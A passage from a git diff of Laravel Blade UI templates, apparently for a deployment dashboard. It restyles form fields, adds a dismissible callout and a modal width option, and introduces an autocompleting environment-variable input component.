                         <x-forms.input id="password_confirmation" required type="password" name="password_confirmation"
                             label="{{ __('input.password.again') }}" />
 
-                        <div class="p-4 bg-neutral-50 dark:bg-coolgray-200 rounded-lg border border-neutral-200 dark:border-coolgray-400">
+                        <div
+                            class="p-4 bg-neutral-50 dark:bg-coolgray-200 rounded-lg border border-neutral-200 dark:border-coolgray-400">
                             <p class="text-xs dark:text-neutral-400">
-                                Your password should be min 8 characters long and contain at least one uppercase letter, one lowercase letter, one number, and one symbol.
+                                Your password should be min 8 characters long and contain at least one uppercase letter,
+                                one lowercase letter, one number, and one symbol.
                             </p>
                         </div>
 
-                        <x-forms.button class="w-full justify-center py-3 box-boarding mt-2" type="submit" isHighlighted>
+                        <x-forms.button class="w-full justify-center py-3 box-boarding mt-2" type="submit"
+                            isHighlighted>
                             Create Account
                         </x-forms.button>
                     </form>
@@ -74,17 +78,18 @@ function getOldOrLocal($key, $localValue)
                             <div class="w-full border-t border-neutral-300 dark:border-coolgray-400"></div>
                         </div>
                         <div class="relative flex justify-center text-sm">
-                            <span class="px-2 dark:bg-base text-neutral-500 dark:text-neutral-400">
+                            <span class="px-2 bg-gray-50 dark:bg-base text-neutral-500 dark:text-neutral-400">
                                 Already have an account?
                             </span>
                         </div>
                     </div>
 
-                    <a href="/login" class="block w-full text-center py-3 px-4 rounded-lg border border-neutral-300 dark:border-coolgray-400 font-medium hover:border-coollabs dark:hover:border-warning transition-colors">
+                    <a href="/login"
+                        class="block w-full text-center py-3 px-4 rounded-lg border border-neutral-300 dark:border-coolgray-400 font-medium hover:border-coollabs dark:hover:border-warning transition-colors">
                         {{ __('auth.already_registered') }}
                     </a>
                 </div>
             </div>
         </div>
     </section>
-</x-layout-simple>
+</x-layout-simple>
\ No newline at end of file
diff --git a/resources/views/auth/reset-password.blade.php b/resources/views/auth/reset-password.blade.php
index a4a07ebd6..3e0c237b4 100644
--- a/resources/views/auth/reset-password.blade.php
+++ b/resources/views/auth/reset-password.blade.php
@@ -47,16 +47,19 @@
                             label="{{ __('input.email') }}" />
                         <x-forms.input required type="password" id="password" name="password"
                             label="{{ __('input.password') }}" />
-                        <x-forms.input required type="password" id="password_confirmation"
-                            name="password_confirmation" label="{{ __('input.password.again') }}" />
+                        <x-forms.input required type="password" id="password_confirmation" name="password_confirmation"
+                            label="{{ __('input.password.again') }}" />
 
-                        <div class="p-4 bg-neutral-50 dark:bg-coolgray-200 rounded-lg border border-neutral-200 dark:border-coolgray-400">
+                        <div
+                            class="p-4 bg-neutral-50 dark:bg-coolgray-200 rounded-lg border border-neutral-200 dark:border-coolgray-400">
                             <p class="text-xs dark:text-neutral-400">
-                                Your password should be min 8 characters long and contain at least one uppercase letter, one lowercase letter, one number, and one symbol.
+                                Your password should be min 8 characters long and contain at least one uppercase letter,
+                                one lowercase letter, one number, and one symbol.
                             </p>
                         </div>
 
-                        <x-forms.button class="w-full justify-center py-3 box-boarding mt-2" type="submit" isHighlighted>
+                        <x-forms.button class="w-full justify-center py-3 box-boarding mt-2" type="submit"
+                            isHighlighted>
                             {{ __('auth.reset_password') }}
                         </x-forms.button>
                     </form>
@@ -66,17 +69,18 @@
                             <div class="w-full border-t border-neutral-300 dark:border-coolgray-400"></div>
                         </div>
                         <div class="relative flex justify-center text-sm">
-                            <span class="px-2 dark:bg-base text-neutral-500 dark:text-neutral-400">
+                            <span class="px-2 bg-gray-50 dark:bg-base text-neutral-500 dark:text-neutral-400">
                                 Remember your password?
                             </span>
                         </div>
                     </div>
 
-                    <a href="/login" class="block w-full text-center py-3 px-4 rounded-lg border border-neutral-300 dark:border-coolgray-400 font-medium hover:border-coollabs dark:hover:border-warning transition-colors">
+                    <a href="/login"
+                        class="block w-full text-center py-3 px-4 rounded-lg border border-neutral-300 dark:border-coolgray-400 font-medium hover:border-coollabs dark:hover:border-warning transition-colors">
                         Back to Login
                     </a>
                 </div>
             </div>
         </div>
     </section>
-</x-layout-simple>
+</x-layout-simple>
\ No newline at end of file
diff --git a/resources/views/auth/two-factor-challenge.blade.php b/resources/views/auth/two-factor-challenge.blade.php
index d4531cbe8..05dbcc90c 100644
--- a/resources/views/auth/two-factor-challenge.blade.php
+++ b/resources/views/auth/two-factor-challenge.blade.php
@@ -120,7 +120,7 @@ class="mt-2 text-sm dark:text-neutral-400 hover:text-black dark:hover:text-white
                             <div class="w-full border-t border-neutral-300 dark:border-coolgray-400"></div>
                         </div>
                         <div class="relative flex justify-center text-sm">
-                            <span class="px-2 dark:bg-base text-neutral-500 dark:text-neutral-400">
+                            <span class="px-2 bg-gray-50 dark:bg-base text-neutral-500 dark:text-neutral-400">
                                 Need help?
                             </span>
                         </div>
diff --git a/resources/views/components/callout.blade.php b/resources/views/components/callout.blade.php
index e65dad63b..67da3ba7f 100644
--- a/resources/views/components/callout.blade.php
+++ b/resources/views/components/callout.blade.php
@@ -1,13 +1,13 @@
-@props(['type' => 'warning', 'title' => 'Warning', 'class' => ''])
+@props(['type' => 'warning', 'title' => 'Warning', 'class' => '', 'dismissible' => false, 'onDismiss' => null])
 
 @php
     $icons = [
         'warning' => '<svg class="w-5 h-5 text-yellow-600 dark:text-yellow-400" fill="currentColor" viewBox="0 0 20 20"><path fill-rule="evenodd" d="M8.257 3.099c.765-1.36 2.722-1.36 3.486 0l5.58 9.92c.75 1.334-.213 2.98-1.742 2.98H4.42c-1.53 0-2.493-1.646-1.743-2.98l5.58-9.92zM11 13a1 1 0 11-2 0 1 1 0 012 0zm-1-8a1 1 0 00-1 1v3a1 1 0 002 0V6a1 1 0 00-1-1z" clip-rule="evenodd"></path></svg>',
-        
+
         'danger' => '<svg class="w-5 h-5 text-red-600 dark:text-red-400" fill="currentColor" viewBox="0 0 20 20"><path fill-rule="evenodd" d="M10 18a8 8 0 100-16 8 8 0 000 16zM8.707 7.293a1 1 0 00-1.414 1.414L8.586 10l-1.293 1.293a1 1 0 101.414 1.414L10 11.414l1.293 1.293a1 1 0 001.414-1.414L11.414 10l1.293-1.293a1 1 0 00-1.414-1.414L10 8.586 8.707 7.293z" clip-rule="evenodd"></path></svg>',
-        
+
         'info' => '<svg class="w-5 h-5 text-blue-600 dark:text-blue-400" fill="currentColor" viewBox="0 0 20 20"><path fill-rule="evenodd" d="M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7-4a1 1 0 11-2 0 1 1 0 012 0zM9 9a1 1 0 000 2v3a1 1 0 001 1h1a1 1 0 100-2v-3a1 1 0 00-1-1H9z" clip-rule="evenodd"></path></svg>',
-        
+
         'success' => '<svg class="w-5 h-5 text-green-600 dark:text-green-400" fill="currentColor" viewBox="0 0 20 20"><path fill-rule="evenodd" d="M10 18a8 8 0 100-16 8 8 0 000 16zm3.707-9.293a1 1 0 00-1.414-1.414L9 10.586 7.707 9.293a1 1 0 00-1.414 1.414l2 2a1 1 0 001.414 0l4-4z" clip-rule="evenodd"></path></svg>'
     ];
 
@@ -42,12 +42,12 @@
     $icon = $icons[$type] ?? $icons['warning'];
 @endphp
 
-<div {{ $attributes->merge(['class' => 'p-4 border rounded-lg ' . $colorScheme['bg'] . ' ' . $colorScheme['border'] . ' ' . $class]) }}>
+<div {{ $attributes->merge(['class' => 'relative p-4 border rounded-lg ' . $colorScheme['bg'] . ' ' . $colorScheme['border'] . ' ' . $class]) }}>
     <div class="flex items-start">
         <div class="flex-shrink-0">
             {!! $icon !!}
         </div>
-        <div class="ml-3">
+        <div class="ml-3 {{ $dismissible ? 'pr-8' : '' }}">
             <div class="text-base font-bold {{ $colorScheme['title'] }}">
                 {{ $title }}
             </div>
@@ -55,5 +55,15 @@
                 {{ $slot }}
             </div>
         </div>
+        @if($dismissible && $onDismiss)
+            <button type="button" @click.stop="{{ $onDismiss }}"
+                    class="absolute top-2 right-2 p-1 rounded hover:bg-black/10 dark:hover:bg-white/10 transition-colors"
+                    aria-label="Dismiss">
+                <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2"
+                     stroke="currentColor" class="w-4 h-4 {{ $colorScheme['text'] }}">
+                    <path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
+                </svg>
+            </button>
+        @endif
     </div>
 </div>
\ No newline at end of file
diff --git a/resources/views/components/forms/datalist.blade.php b/resources/views/components/forms/datalist.blade.php
index 79a14d16f..1d9a3b263 100644
--- a/resources/views/components/forms/datalist.blade.php
+++ b/resources/views/components/forms/datalist.blade.php
@@ -97,12 +97,14 @@
             }" @click.outside="open = false" class="relative">
 
             {{-- Unified Input Container with Tags Inside --}}
-            <div @click="$refs.searchInput.focus()"
-                class="flex flex-wrap gap-1.5 max-h-40 overflow-y-auto scrollbar py-1.5  px-2 w-full text-sm rounded-sm border-0 ring-2 ring-inset ring-neutral-200 dark:ring-coolgray-300 bg-white dark:bg-coolgray-100 cursor-text px-1 focus-within:border-l-4 focus-within:border-l-coollabs dark:focus-within:border-l-warning text-black dark:text-white"
+            <div @click="$refs.searchInput.focus()" x-data="{ focused: false }" @focusin="focused = true" @focusout="focused = false"
+                class="flex flex-wrap gap-1.5 max-h-40 overflow-y-auto scrollbar py-1.5  px-2 w-full text-sm rounded-sm border-0 bg-white dark:bg-coolgray-100 cursor-text px-1 text-black dark:text-white"
+                :style="focused ? 'box-shadow: inset 4px 0 0 #6b16ed, inset 0 0 0 2px #e5e5e5;' : 'box-shadow: inset 4px 0 0 transparent, inset 0 0 0 2px #e5e5e5;'"
+                x-init="$watch('focused', () => { if ($root.classList.contains('dark') || document.documentElement.classList.contains('dark')) { $el.style.boxShadow = focused ? 'inset 4px 0 0 #fcd452, inset 0 0 0 2px #242424' : 'inset 4px 0 0 transparent, inset 0 0 0 2px #242424'; } })"
                 :class="{
                         'opacity-50': {{ $disabled ? 'true' : 'false' }}
                     }" wire:loading.class="opacity-50"
-                wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4">
+                wire:dirty.class="[box-shadow:inset_4px_0_0_#6b16ed,inset_0_0_0_2px_#e5e5e5] dark:[box-shadow:inset_4px_0_0_#fcd452,inset_0_0_0_2px_#242424]">
 
                 {{-- Selected Tags Inside Input --}}
                 <template x-for="value in selected" :key="value">
@@ -221,11 +223,13 @@ class="w-4 h-4 rounded border-neutral-300 dark:border-neutral-600 bg-white dark:
                 <input type="hidden" :value="selected" @required($required) />
 
                 {{-- Input Container --}}
-                <div @click="openDropdown()"
-                    class="flex items-center gap-2 py-1.5 w-full text-sm rounded-sm border-0 ring-2 ring-inset ring-neutral-200 dark:ring-coolgray-300 bg-white dark:bg-coolgray-100 cursor-text focus-within:border-l-4 focus-within:border-l-coollabs dark:focus-within:border-l-warning text-black dark:text-white"
+                <div @click="openDropdown()" x-data="{ focused: false }" @focusin="focused = true" @focusout="focused = false"
+                    class="flex items-center gap-2 py-1.5 w-full text-sm rounded-sm border-0 bg-white dark:bg-coolgray-100 cursor-text text-black dark:text-white"
+                    :style="focused ? 'box-shadow: inset 4px 0 0 #6b16ed, inset 0 0 0 2px #e5e5e5;' : 'box-shadow: inset 4px 0 0 transparent, inset 0 0 0 2px #e5e5e5;'"
+                    x-init="$watch('focused', () => { if ($root.classList.contains('dark') || document.documentElement.classList.contains('dark')) { $el.style.boxShadow = focused ? 'inset 4px 0 0 #fcd452, inset 0 0 0 2px #242424' : 'inset 4px 0 0 transparent, inset 0 0 0 2px #242424'; } })"
                     :class="{
                     'opacity-50': {{ $disabled ? 'true' : 'false' }}
-                }" wire:loading.class="opacity-50" wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4">
+                }" wire:loading.class="opacity-50" wire:dirty.class="[box-shadow:inset_4px_0_0_#6b16ed,inset_0_0_0_2px_#e5e5e5] dark:[box-shadow:inset_4px_0_0_#fcd452,inset_0_0_0_2px_#242424]">
 
                     {{-- Display Selected Value or Search Input --}}
                     <div class="flex-1 flex items-center min-w-0 px-1">
diff --git a/resources/views/components/forms/env-var-input.blade.php b/resources/views/components/forms/env-var-input.blade.php
new file mode 100644
index 000000000..833de7190
--- /dev/null
+++ b/resources/views/components/forms/env-var-input.blade.php
@@ -0,0 +1,268 @@
+<div class="w-full">
+    @if ($label)
+        <label class="flex gap-1 items-center mb-1 text-sm font-medium">{{ $label }}
+            @if ($required)
+                <x-highlighted text="*" />
+            @endif
+            @if ($helper)
+                <x-helper :helper="$helper" />
+            @endif
+        </label>
+    @endif
+
+    <div x-data="{
+            showDropdown: false,
+            suggestions: [],
+            selectedIndex: 0,
+            cursorPosition: 0,
+            currentScope: null,
+            availableScopes: ['team', 'project', 'environment'],
+            availableVars: @js($availableVars),
+            scopeUrls: @js($scopeUrls),
+
+            isAutocompleteDisabled() {
+                const hasAnyVars = Object.values(this.availableVars).some(vars => vars.length > 0);
+                return !hasAnyVars;
+            },
+
+            handleInput() {
+                const input = this.$refs.input;
+                if (!input) return;
+
+                const value = input.value || '';
+
+                if (this.isAutocompleteDisabled()) {
+                    this.showDropdown = false;
+                    return;
+                }
+
+                this.cursorPosition = input.selectionStart || 0;
+                const textBeforeCursor = value.substring(0, this.cursorPosition);
+
+                const openBraces = '{' + '{';
+                const lastBraceIndex = textBeforeCursor.lastIndexOf(openBraces);
+
+                if (lastBraceIndex === -1) {
+                    this.showDropdown = false;
+                    return;
+                }
+
+                if (lastBraceIndex > 0 && textBeforeCursor[lastBraceIndex - 1] === '{') {
+                    this.showDropdown = false;
+                    return;
+                }
+
+                const textAfterBrace = textBeforeCursor.substring(lastBraceIndex);
+                const closeBraces = '}' + '}';
+                if (textAfterBrace.includes(closeBraces)) {
+                    this.showDropdown = false;
+                    return;
+                }
+
+                const content = textAfterBrace.substring(2).trim();
+
+                if (content === '') {
+                    this.currentScope = null;
+                    this.suggestions = this.availableScopes.map(scope => ({
+                        type: 'scope',
+                        value: scope,
+                        display: scope
+                    }));
+                    this.selectedIndex = 0;
+                    this.showDropdown = true;
+                } else if (content.includes('.')) {
+                    const [scope, partial] = content.split('.');
+
+                    if (!this.availableScopes.includes(scope)) {
+                        this.showDropdown = false;
+                        return;
+                    }
+
+                    this.currentScope = scope;
+                    const scopeVars = this.availableVars[scope] || [];
+                    const filtered = scopeVars.filter(v =>
+                        v.toLowerCase().includes((partial || '').toLowerCase())
+                    );
+
+                    if (filtered.length === 0 && scopeVars.length === 0) {
+                        this.suggestions = [];
+                        this.showDropdown = true;
+                    } else {
+                        this.suggestions = filtered.map(varName => ({
+                            type: 'variable',
+                            value: varName,
+                            display: `${scope}.${varName}`,
+                            scope: scope
+                        }));
+                        this.selectedIndex = 0;
+                        this.showDropdown = filtered.length > 0;
+                    }
+                } else {
+                    this.currentScope = null;
+                    const filtered = this.availableScopes.filter(scope =>
+                        scope.toLowerCase().includes(content.toLowerCase())
+                    );
+
+                    this.suggestions = filtered.map(scope => ({
+                        type: 'scope',
+                        value: scope,
+                        display: scope
+                    }));
+                    this.selectedIndex = 0;
+                    this.showDropdown = filtered.length > 0;
+                }
+            },
+
+            getScopeUrl(scope) {
+                return this.scopeUrls[scope] || this.scopeUrls['default'];
+            },
+
+            selectSuggestion(suggestion) {
+                const input = this.$refs.input;
+                if (!input) return;
+
+                const value = input.value || '';
+                const textBeforeCursor = value.substring(0, this.cursorPosition);
+                const textAfterCursor = value.substring(this.cursorPosition);
+                const openBraces = '{' + '{';
+                const lastBraceIndex = textBeforeCursor.lastIndexOf(openBraces);
+
+                if (suggestion.type === 'scope') {
+                    const newText = value.substring(0, lastBraceIndex) +
+                                  openBraces + ' ' + suggestion.value + '.' +
+                                  textAfterCursor;
+                    input.value = newText;
+                    this.cursorPosition = lastBraceIndex + 3 + suggestion.value.length + 1;
+
+                    this.$nextTick(() => {
+                        input.setSelectionRange(this.cursorPosition, this.cursorPosition);
+                        input.focus();
+                        this.handleInput();
+                    });
+                } else {
+                    const closeBraces = '}' + '}';
+                    const newText = value.substring(0, lastBraceIndex) +
+                                  openBraces + ' ' + suggestion.display + ' ' + closeBraces +
+                                  textAfterCursor;
+                    input.value = newText;
+                    this.cursorPosition = lastBraceIndex + 3 + suggestion.display.length + 3;
+
+                    input.dispatchEvent(new Event('input'));
+
+                    this.showDropdown = false;
+                    this.selectedIndex = 0;
+
+                    this.$nextTick(() => {
+                        input.setSelectionRange(this.cursorPosition, this.cursorPosition);
+                        input.focus();
+                    });
+                }
+            },
+
+            handleKeydown(event) {
+                if (!this.showDropdown) return;
+                if (!this.suggestions || this.suggestions.length === 0) return;
+
+                if (event.key === 'ArrowDown') {
+                    event.preventDefault();
+                    this.selectedIndex = (this.selectedIndex + 1) % this.suggestions.length;
+                    this.$nextTick(() => {
+                        const el = document.getElementById('suggestion-' + this.selectedIndex);
+                        if (el) {
+                            el.scrollIntoView({ behavior: 'smooth', block: 'nearest' });
+                        }
+                    });
+                } else if (event.key === 'ArrowUp') {
+                    event.preventDefault();
+                    this.selectedIndex = this.selectedIndex <= 0 ? this.suggestions.length - 1 : this.selectedIndex - 1;
+                    this.$nextTick(() => {
+                        const el = document.getElementById('suggestion-' + this.selectedIndex);
+                        if (el) {
+                            el.scrollIntoView({ behavior: 'smooth', block: 'nearest' });
+                        }
+                    });
+                } else if (event.key === 'Enter' && this.showDropdown) {
+                    event.preventDefault();
+                    if (this.suggestions[this.selectedIndex]) {
+                        this.selectSuggestion(this.suggestions[this.selectedIndex]);
+                    }
+                } else if (event.key === 'Escape') {
+                    this.showDropdown = false;
+                }
+            }
+        }"
+        @click.outside="showDropdown = false"
+        class="relative">
+
+        <input
+            x-ref="input"
+            @input="handleInput()"
+            @keydown="handleKeydown($event)"
+            @click="handleInput()"
+            autocomplete="{{ $autocomplete }}"
+            {{ $attributes->merge(['class' => $defaultClass]) }}
+            @required($required)
+            @readonly($readonly)
+            @if ($modelBinding !== 'null')
+                wire:model="{{ $modelBinding }}"
+                wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4"
+            @endif
+            wire:loading.attr="disabled"
+            type="{{ $type }}"
+            @disabled($disabled)
+            @if ($htmlId !== 'null') id="{{ $htmlId }}" @endif
+            name="{{ $name }}"
+            placeholder="{{ $attributes->get('placeholder') }}"
+            @if ($autofocus) autofocus @endif>
+
+        {{-- Dropdown for suggestions --}}
+        <div x-show="showDropdown"
+             x-transition
+             class="absolute z-[60] w-full mt-1 bg-white dark:bg-coolgray-100 border border-neutral-300 dark:border-coolgray-400 rounded shadow-lg">
+
+            <template x-if="suggestions.length === 0 && currentScope">
+                <div class="px-3 py-2 text-sm text-neutral-500 dark:text-neutral-400">
+                    <div>No shared variables found in <span class="font-semibold" x-text="currentScope"></span> scope.</div>
+                    <a :href="getScopeUrl(currentScope)"
+                       class="text-coollabs dark:text-warning hover:underline text-xs mt-1 inline-block"
+                       target="_blank">
+                        Add <span x-text="currentScope"></span> variables →
+                    </a>
+                </div>
+            </template>
+
+            <div x-show="suggestions.length > 0"
+                 x-ref="dropdownList"
+                 class="max-h-48 overflow-y-scroll"
+                 style="scrollbar-width: thin;">
+                <template x-for="(suggestion, index) in suggestions" :key="index">
+                    <div :id="'suggestion-' + index"
+                         @click="selectSuggestion(suggestion)"
+                         class="px-3 py-2 cursor-pointer hover:bg-neutral-100 dark:hover:bg-coolgray-200 flex items-center gap-2"
+                         :class="{ 'bg-neutral-50 dark:bg-coolgray-300': index === selectedIndex }">
+                        <template x-if="suggestion.type === 'scope'">
+                            <span class="text-xs px-2 py-0.5 bg-coollabs/10 dark:bg-warning/10 text-coollabs dark:text-warning rounded">
+                                SCOPE
+                            </span>
+                        </template>
+                        <template x-if="suggestion.type === 'variable'">
+                            <span class="text-xs px-2 py-0.5 bg-green-500/10 text-green-600 dark:text-green-400 rounded">
+                                VAR
+                            </span>
+                        </template>
+                        <span class="text-sm font-mono" x-text="suggestion.display"></span>
+                    </div>
+                </template>
+            </div>
+        </div>
+    </div>
+
+    @if (!$label && $helper)
+        <x-helper :helper="$helper" />
+    @endif
+    @error($modelBinding)
+        <label class="label">
+            <span class="text-red-500 label-text-alt">{{ $message }}</span>
+        </label>
+    @enderror
+</div>
diff --git a/resources/views/components/forms/input.blade.php b/resources/views/components/forms/input.blade.php
index 6b88c7b44..bedc5dc68 100644
--- a/resources/views/components/forms/input.blade.php
+++ b/resources/views/components/forms/input.blade.php
@@ -27,7 +27,7 @@ class="flex absolute inset-y-0 right-0 items-center pr-2 cursor-pointer dark:hov
             @endif
             <input autocomplete="{{ $autocomplete }}" value="{{ $value }}"
                 {{ $attributes->merge(['class' => $defaultClass]) }} @required($required)
-                @if ($modelBinding !== 'null') wire:model={{ $modelBinding }} wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @endif
+                @if ($modelBinding !== 'null') wire:model={{ $modelBinding }} wire:dirty.class="[box-shadow:inset_4px_0_0_#6b16ed,inset_0_0_0_2px_#e5e5e5] dark:[box-shadow:inset_4px_0_0_#fcd452,inset_0_0_0_2px_#242424]" @endif
                 wire:loading.attr="disabled"
                 type="{{ $type }}" @readonly($readonly) @disabled($disabled) id="{{ $htmlId }}"
                 name="{{ $name }}" placeholder="{{ $attributes->get('placeholder') }}"
@@ -38,7 +38,7 @@ class="flex absolute inset-y-0 right-0 items-center pr-2 cursor-pointer dark:hov
     @else
         <input autocomplete="{{ $autocomplete }}" @if ($value) value="{{ $value }}" @endif
             {{ $attributes->merge(['class' => $defaultClass]) }} @required($required) @readonly($readonly)
-            @if ($modelBinding !== 'null') wire:model={{ $modelBinding }} wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @endif
+            @if ($modelBinding !== 'null') wire:model={{ $modelBinding }} wire:dirty.class="[box-shadow:inset_4px_0_0_#6b16ed,inset_0_0_0_2px_#e5e5e5] dark:[box-shadow:inset_4px_0_0_#fcd452,inset_0_0_0_2px_#242424]" @endif
             wire:loading.attr="disabled"
             type="{{ $type }}" @disabled($disabled) min="{{ $attributes->get('min') }}"
             max="{{ $attributes->get('max') }}" minlength="{{ $attributes->get('minlength') }}"
diff --git a/resources/views/components/forms/select.blade.php b/resources/views/components/forms/select.blade.php
index aac924f0d..22a0c4027 100644
--- a/resources/views/components/forms/select.blade.php
+++ b/resources/views/components/forms/select.blade.php
@@ -12,7 +12,7 @@ class="flex gap-1 items-center mb-1 text-sm font-medium {{ $disabled ? 'text-neu
     @endif
     <select {{ $attributes->merge(['class' => $defaultClass]) }} @disabled($disabled) @required($required)
         wire:loading.attr="disabled" name={{ $modelBinding }} id="{{ $htmlId }}"
-        @if ($attributes->whereStartsWith('wire:model')->first()) {{ $attributes->whereStartsWith('wire:model')->first() }} wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @else wire:model={{ $modelBinding }} wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @endif>
+        @if ($attributes->whereStartsWith('wire:model')->first()) {{ $attributes->whereStartsWith('wire:model')->first() }} wire:dirty.class="[box-shadow:inset_4px_0_0_#6b16ed,inset_0_0_0_2px_#e5e5e5] dark:[box-shadow:inset_4px_0_0_#fcd452,inset_0_0_0_2px_#242424]" @else wire:model={{ $modelBinding }} wire:dirty.class="[box-shadow:inset_4px_0_0_#6b16ed,inset_0_0_0_2px_#e5e5e5] dark:[box-shadow:inset_4px_0_0_#fcd452,inset_0_0_0_2px_#242424]" @endif>
         {{ $slot }}
     </select>
     @error($modelBinding)
diff --git a/resources/views/components/forms/textarea.blade.php b/resources/views/components/forms/textarea.blade.php
index cee5faeda..3f8fdb112 100644
--- a/resources/views/components/forms/textarea.blade.php
+++ b/resources/views/components/forms/textarea.blade.php
@@ -45,16 +45,16 @@ class="absolute inset-y-0 right-0 flex items-center h-6 pt-2 pr-2 cursor-pointer
                 @endif
                 <input x-cloak x-show="type === 'password'" value="{{ $value }}"
                     {{ $attributes->merge(['class' => $defaultClassInput]) }} @required($required)
-                    @if ($modelBinding !== 'null') wire:model={{ $modelBinding }} wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @endif
+                    @if ($modelBinding !== 'null') wire:model={{ $modelBinding }} wire:dirty.class="[box-shadow:inset_4px_0_0_#6b16ed,inset_0_0_0_2px_#e5e5e5] dark:[box-shadow:inset_4px_0_0_#fcd452,inset_0_0_0_2px_#242424]" @endif
                     wire:loading.attr="disabled"
                     type="{{ $type }}" @readonly($readonly) @disabled($disabled) id="{{ $htmlId }}"
                     name="{{ $name }}" placeholder="{{ $attributes->get('placeholder') }}"
                     aria-placeholder="{{ $attributes->get('placeholder') }}">
                 <textarea minlength="{{ $minlength }}" maxlength="{{ $maxlength }}" x-cloak x-show="type !== 'password'"
                     placeholder="{{ $placeholder }}" {{ $attributes->merge(['class' => $defaultClass]) }}
-                    @if ($realtimeValidation) wire:model.debounce.200ms="{{ $modelBinding }}" wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4"
+                    @if ($realtimeValidation) wire:model.debounce.200ms="{{ $modelBinding }}" wire:dirty.class="[box-shadow:inset_4px_0_0_#6b16ed,inset_0_0_0_2px_#e5e5e5] dark:[box-shadow:inset_4px_0_0_#fcd452,inset_0_0_0_2px_#242424]"
                 @else
-            wire:model={{ $value ?? $modelBinding }} wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @endif
+            wire:model={{ $value ?? $modelBinding }} wire:dirty.class="[box-shadow:inset_4px_0_0_#6b16ed,inset_0_0_0_2px_#e5e5e5] dark:[box-shadow:inset_4px_0_0_#fcd452,inset_0_0_0_2px_#242424]" @endif
                     @disabled($disabled) @readonly($readonly) @required($required) id="{{ $htmlId }}"
                     name="{{ $name }}" name={{ $modelBinding }}
                     @if ($autofocus) x-ref="autofocusInput" @endif></textarea>
@@ -64,9 +64,9 @@ class="absolute inset-y-0 right-0 flex items-center h-6 pt-2 pr-2 cursor-pointer
             <textarea minlength="{{ $minlength }}" maxlength="{{ $maxlength }}"
                 {{ $allowTab ? '@keydown.tab=handleKeydown' : '' }} placeholder="{{ $placeholder }}"
                 {{ !$spellcheck ? 'spellcheck=false' : '' }} {{ $attributes->merge(['class' => $defaultClass]) }}
-                @if ($realtimeValidation) wire:model.debounce.200ms="{{ $modelBinding }}" wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4"
+                @if ($realtimeValidation) wire:model.debounce.200ms="{{ $modelBinding }}" wire:dirty.class="[box-shadow:inset_4px_0_0_#6b16ed,inset_0_0_0_2px_#e5e5e5] dark:[box-shadow:inset_4px_0_0_#fcd452,inset_0_0_0_2px_#242424]"
         @else
-    wire:model={{ $value ?? $modelBinding }} wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @endif
+    wire:model={{ $value ?? $modelBinding }} wire:dirty.class="[box-shadow:inset_4px_0_0_#6b16ed,inset_0_0_0_2px_#e5e5e5] dark:[box-shadow:inset_4px_0_0_#fcd452,inset_0_0_0_2px_#242424]" @endif
                 @disabled($disabled) @readonly($readonly) @required($required) id="{{ $htmlId }}"
                 name="{{ $name }}" name={{ $modelBinding }}
                 @if ($autofocus) x-ref="autofocusInput" @endif></textarea>
diff --git a/resources/views/components/modal-input.blade.php b/resources/views/components/modal-input.blade.php
index b031740ca..d65162d36 100644
--- a/resources/views/components/modal-input.blade.php
+++ b/resources/views/components/modal-input.blade.php
@@ -8,8 +8,15 @@
     'content' => null,
     'closeOutside' => true,
     'minWidth' => '36rem',
+    'maxWidth' => '48rem',
     'isFullWidth' => false,
 ])
+
+@php
+    $modalId = 'modal-' . uniqid();
+@endphp
+
+
 <div x-data="{ modalOpen: false }"
     x-init="$watch('modalOpen', value => { if (!value) { $wire.dispatch('modalClosed') } })"
     :class="{ 'z-40': modalOpen }" @keydown.window.escape="modalOpen=false"
@@ -38,14 +45,14 @@ class="fixed top-0 left-0 z-99 flex items-center justify-center w-screen h-scree
                 x-transition:leave-start="opacity-100" x-transition:leave-end="opacity-0"
                 @if ($closeOutside) @click="modalOpen=false" @endif
                 class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
-            <div x-show="modalOpen" x-trap.inert.noscroll="modalOpen"
+            <div id="{{ $modalId }}" x-show="modalOpen" x-trap.inert.noscroll="modalOpen"
                 x-transition:enter="ease-out duration-100"
                 x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
                 x-transition:enter-end="opacity-100 translate-y-0 sm:scale-100"
                 x-transition:leave="ease-in duration-100"
                 x-transition:leave-start="opacity-100 translate-y-0 sm:scale-100"
                 x-transition:leave-end="opacity-0 -translate-y-2 sm:scale-95"
-                class="relative w-full border rounded-sm drop-shadow-sm min-w-full lg:min-w-[{{ $minWidth }}] max-w-fit max-h-[calc(100vh-2rem)] bg-white border-neutral-200 dark:bg-base dark:border-coolgray-300 flex flex-col">
+                class="relative w-full min-w-full lg:min-w-[{{ $minWidth }}] max-w-[{{ $maxWidth }}] max-h-[calc(100vh-2rem)] border rounded-sm drop-shadow-sm bg-white border-neutral-200 dark:bg-base dark:border-coolgray-300 flex flex-col">
                 <div class="flex items-center justify-between py-6 px-6 shrink-0">
                     <h3 class="text-2xl font-bold">{{ $title }}</h3>
                     <button @click="modalOpen=false"
diff --git a/resources/views/components/server/sidebar-proxy.blade.php b/resources/views/components/server/sidebar-proxy.blade.php
index 9f47fde7f..ad6612a25 100644
--- a/resources/views/components/server/sidebar-proxy.blade.php
+++ b/resources/views/components/server/sidebar-proxy.blade.php
@@ -1,9 +1,9 @@
-@if ($server->proxySet())
-    <div class="flex flex-col items-start gap-2 min-w-fit">
-        <a class="{{ request()->routeIs('server.proxy') ? 'menu-item menu-item-active' : 'menu-item' }}"
-            href="{{ route('server.proxy', $parameters) }}">
-            <button>Configuration</button>
-        </a>
+<div class="flex flex-col items-start gap-2 min-w-fit">
+    <a class="{{ request()->routeIs('server.proxy') ? 'menu-item menu-item-active' : 'menu-item' }}"
+        href="{{ route('server.proxy', $parameters) }}">
+        <button>Configuration</button>
